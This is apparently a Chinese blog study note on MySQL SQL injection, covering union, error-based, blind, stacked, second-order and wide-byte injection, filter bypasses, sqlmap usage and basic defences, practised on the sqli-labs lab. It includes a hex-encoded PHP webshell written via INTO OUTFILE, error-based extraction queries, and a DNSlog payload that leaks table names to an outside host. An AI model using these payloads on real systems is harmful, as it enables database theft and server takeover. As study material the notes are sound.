sql总结

https://www.freebuf.com/articles/web/288261.html

基础知识:

介绍几个常用函数:
  1. version()——MySQL 版本
  2. user()——数据库用户名
  3. database()——数据库名
  4. @@datadir——数据库路径
  5. @@version_compile_os——操作系统版本
mysql的版本区别

mysql5.0以下没有informationschema这个系统表,无法列出表名列名,只能暴力跑表名。 5.0以下是多用户单操作,5.0以上是多用户多操做。

字符串连接函数:
  1. concat(str1,str2,…)——没有分隔符地连接字符串
  2. concat_ws(separator,str1,str2,…)——含有分隔符地连接字符串
  3. group_concat(str1,str2,…)——连接一个组的所有字符串,并以逗号分隔每一条数据

sql中的逻辑运算:

and的运算级高于or

一个@是用户自定义变量 两个@是系统变量,如@@version、@@user

sql注入读,写文件函数

通过mysql的file系列函数来进行读取敏感文件或者写入webshell

outfile() : select * from test into outfile ‘/tmp/test.txt’

dumpfile() : select * from test into dumpfile ‘/tmp/test.txt’

load_file()

因为涉及到在服务器上写入文件,所以上述函数能否成功执行受到参数 secure_file_priv 的影响.

  • 其中当参数 secure_file_priv 为空时,对导入导出无限制
  • 当值为一个指定的目录时,只能向指定的目录导入导出
  • 当值被设置为NULL时,禁止导入导出功能

这个值可以通过命令 select @@secure_file_priv 查询。由于这个参数不能动态更改,只能在mysql的配置文件中进行修改,然后重启生效。

outfile函数可以导出多行,而dumpfile只能导出一行数据
outfile函数在将数据写到文件里时有特殊的格式转换,而dumpfile则保持原数据格式。

http://sqllabs/Less-1/?id=-1'union select 0x3c3f706870,0x20406576616c28245f504f53545b27636d64275d293b,0x3f3e into outfile"D:\\phpstudy_pro\\WWW\\a.php"--+
mysql的注释符:
  1. /**/

在mysql的user表下存储用户信息。

union注入

UNION 操作符用于合并两个或多个SELECT 语句的结果集。请注意,UNION 内部的SELECT
语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条SELECT 语句中的
列的顺序必须相同。

默认地,UNION 操作符选取不同的值。如果允许重复的值,请使用UNION ALL

union主要就是配合select。

报错注入

原理:报错注入是通过特殊函数错误使用并使其输出错误结果来获取信息的。

xpath语法错误

0X7E就是’~‘

~也可以换为#,$等只要不符合xpath的语法规范即可

两个函数只能查询32位如果过多就需要使用limit或substring

extractvalue()

格式:extractvalue(xml_document,Xpath_string),作用是从document中返回包含string的字符串,如果string参数不符合xpath的语法就会报错,将查询的结果放在报错信息里。

因为~符号不符合xpath的语法规则所以导致报错。

select extractvalue(1,concat(0x7e,database()))
updatexml()

格式:updatexml(xml_document,xpath_string,new_value),作用是将document的中符合string的字符串替换为value的值。同上,这里string参数不符合xpath语法也报错。

基于主键重复错误

https://www.freebuf.com/vuls/345056.html

select count(*),b from user group by b;

#这条语句在查询和被插入时都会执行b

语句执行思路:第一次执行语句,系统首先创建一张空的虚拟表,b被执行,group by b,中的b也被执行,之后每次执行b,会在虚拟表中查询b,如果有,则count+1,不再执行group by中的b,否则会再次执行group by b,并将b插入,count+1,

floor(a),函数作用是取小于等于a最大整数,

rand()函数,在未指定参数时,结果是随机的。指定参数后,如rand(0) ,则每次执行后的结果是固定的。

执行下面的代码会报错,因为主键重复。

select count(*),floor(rand(0)*2) from information_schema.tables group by floor(rand(0)*2);

paylaod:

select count(*),concat(user(),floor(rand(0)*2)) from information_schema.tables group by concat(user(),floor(rand(0)*2));
其他几个报错用的不多

https://www.freebuf.com/articles/web/285929.html

exp

没有成功

https://www.freebuf.com/articles/web/274019.html

select exp(~(select * FROM(SELECT USER())a))
select !(select * from (select user())x)-~0
因画图函数无法执行的报错

盲注

https://www.freebuf.com/articles/web/281559.html

函数:

length() 函数 返回字符串的长度

substr() 截取字符串 (语法:SUBSTR(str,pos,len);)

ascii() 返回字符的ascii码 [将字符变为数字wei]

sleep() 将程序挂起一段时间n为n秒

if(expr1,expr2,expr3) 判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句

Ord()函数同ascii(),将字符转为ascii 值

布尔盲注

界面的回显只有两种情况,true和false,

an1=1

or1=1

and (length(database()) >1)

ascii(substr(database(),1,1))=100

时间盲注

界面的回显只有一种情况,一直都是true。

堆叠注入

原理:在SQL语句中,语句的结束都是以;结尾,但是如果我们在;后面再加上一条SQL语句,两条语句会一起执行.

执行完一条语句后,会再执行下一条。

在网站把insert,update,delete过滤掉后,可以尝试堆叠注入。

二次注入

用户存储在数据库中的信息当被调用时,会在发生sql注入。

主要原因是对数据库中的信息太过信任。

案例:在注册用户的情况中,从在给数据库写入信息的功能。

当给数据库中输入的用户名为admin’#,时,数据库存储后,当用户修改密码的时候,将会修改admin的用户,而不是admin’#.

UPDATE users SET PASSWORD='$ pass' where username='$ username' and password='$ curr_pass'
UPDATE users SET PASSWORD=’$ pass’ where username=’admin‘#’ and password=’$ curr_pass’

宽字节注入

https://www.freebuf.com/articles/network/282252.html

https://blog.csdn.net/qq_41173457/article/details/81268894

magic_quotes_gpc :魔术引号开关,可以在php.ini配置文件中找到(高版本没有, 且默认magic_quotes_gpc =off)

为on时,无需对输入内容做处理,php会自动对特殊符号转义,并在数据库中执行。数据库中存储的没有转义符号。但如果手动转义,则还需要在输出时,使用stripslashes()去掉多余的反斜杠。

为off时,需要对输入内容进行转义处理,不需要对输出进行操作,在数据库中存储的没有转义符号\

理解:可能数据库中对',",\,也是会转义。

比如:在数据库中存储的是1',在数据库中查询的话,要使用下面的第一条,第二条会报错。

select * from aa where aa='2\''

select * from aa where aa='2''

php的函数:

escape:添加转义字符

addslashes:添加转义字符

stripslashes:删除转义字符

函数功能:给参数中的特殊字符添加转义字符“\”,

单引号(’)、双引号(”)、反斜线(\)等字符都会被加上反斜线。

gbk,编码使用双字节编码方案,两个字节表示一个汉字。

数据库使用的是gbk编码,php对接收的字符中的特殊字符添加转义字符\,将转义后的结果传入到数据库中执行,mysql在使用GBK编码的时候,如果前一个ascii值大于128,那么就会认为两个字符是一个汉字

下面两句执行效果一样,
SELECT aa from aa WHERE aa ='qq\'';
SELECT aa from aa WHERE aa ='qq'';


PHP发送请求到MySql时使用了语句SET NAMES ‘gbk’ 或是SET character_set_client =gbk 进行了一次编码

将sql语句复制到navicat中尝试,如下结果

select id,email from member where username='kobeß\'union select 1,2#'
这条语句在mysql中执行不成功。
select id,email from member where username='kobe0xdf0x5c'union select 1,2#'

这条语句可以执行成功。输出为1,2

认为可能和 r e s u l t = m y s q l i q u e r y ( result=mysqli_query( result=mysqliquery(link, $query);有关系,

dnslog注入

https://www.freebuf.com/articles/web/259023.html

select LOAD_FILE(concat('\\\\',(show tables),'.mzxs59.ceye.io//abc'));


通过concat构造一个\\mysql.mzxs59.ceye.io,这样一个子域名。

原理:load_file 通过请求mysql.mzxs59.ceye.io域名下的abc文件,从而在mzxs59.ceye.io留下dns解析记录。

域名中只能是字母,数字,下划线,不能有其他的特殊字符,否则laod_file认为是错误域名,就不会请求。

中转

sql注入绕过

https://www.freebuf.com/articles/web/329457.html

https://www.freebuf.com/articles/web/281586.html

大小写绕过
双写绕过
http参数污染绕过

传递两个相同的参数,让服务器解析,不同的web服务器解析的情况不同。

index.php?id=1 &id=3' and 1=1 --+
Web 服务器参数获取函数获取到的参数
PHP/Apache$_GET[‘a’]Last
JSP/TomcatRequest.getParameter(‘a’)First
Perl(CGI)/ApacheParam(‘a’)First
Python/Apachegetvalue(‘a’)All
ASP/IISRequest.QueryString(‘a’)All
url编码绕过
sql注释符

当空格被拦截,可以使用/**/,#,注释符号来代替

逗号被过滤
  1. 改用盲注
  2. 使用join语句代替
  3. substr(data from 1 for 1)相当于substr(data,1,1)limit 9 offset 4相当于limt 9,4

提交方式

get

post

cookie

request

http头

sql注入防御

代码层

01.黑名单 02.白名单 03.敏感字符过滤 04.使用框架安全查询 05.规范输出

配置层

01.开启GPC 02.使用UTF-8

物理层

01.WAF 02.数据库审计 03.云防护 04.IPS(入侵防御系统)

sqlmap

https://www.wangan.com/docs/1077

–batch自动设置默认
–dbs查询数据库
–current-db当前数据库
–usersmysql所有用户
–current-user当前的用户
–passwords数据库账号密码
–tables
–columns
–dump脱库
–start 1开始的行数1
–stop 5截止的函数4
-p指定注入参数
–dump-all列出所有存在的数据库中的所有内容
–thread设置线程数
–level设置sqlmap等级,(总计有7个)
–tamper使用sqlmap的脚本
get
post
通过抓包,copy to file,保存文件,
sqlmap.py -r "./less12.txt" -p uname --current-db

-r 指定文件路径
-p 指定参数

自动搜索表单的方式提交

forms表单,让sqlmap自动搜索表单,搜索后自己手动填写表单信息

sqlmap.py -u "http://sqllabs/Less-11/" --forms --dbs

提交的表单信息: uname=vegetable&passwd=admin123&submitsubmit

D:\network\sqlmap>sqlmap.py -u "http://sqllabs/Less-11/" --forms --dbs
        ___
       __H__
 ___ ___["]_____ ___ ___  {1.6.6.4#dev}
|_ -| . [']     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 21:01:26 /2022-12-30/

[21:01:26] [INFO] testing connection to the target URL
[21:01:26] [INFO] searching for forms
[1/1] Form:
POST http://sqllabs/Less-11/
POST data: uname=&passwd=&submit=Submit
do you want to test this form? [Y/n/q]
>

Edit POST data [default: uname=&passwd=&submit=Submit] (Warning: blank fields detected): uname=vegetable&passwd=admin123&submitsubmit
指定一个参数的方法

这是把表单要提交的信息,用参数–data进行了提交

sqlmap.py -u "http://sqllabs/Less-12/" --data "uname=vegetable&passwd=admin123&submitsubmit" --dbs
cookie
sqlmap.py -u "http://sqllabs/Less-20/" --cookie="uname=admin" --dbs --level 3 --batch
sqlmap --os-shell 原理详解

https://blog.csdn.net/qq_61237064/article/details/124154956

sqlmap的tamper

介绍各个脚本使用

https://www.freebuf.com/sectool/179035.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值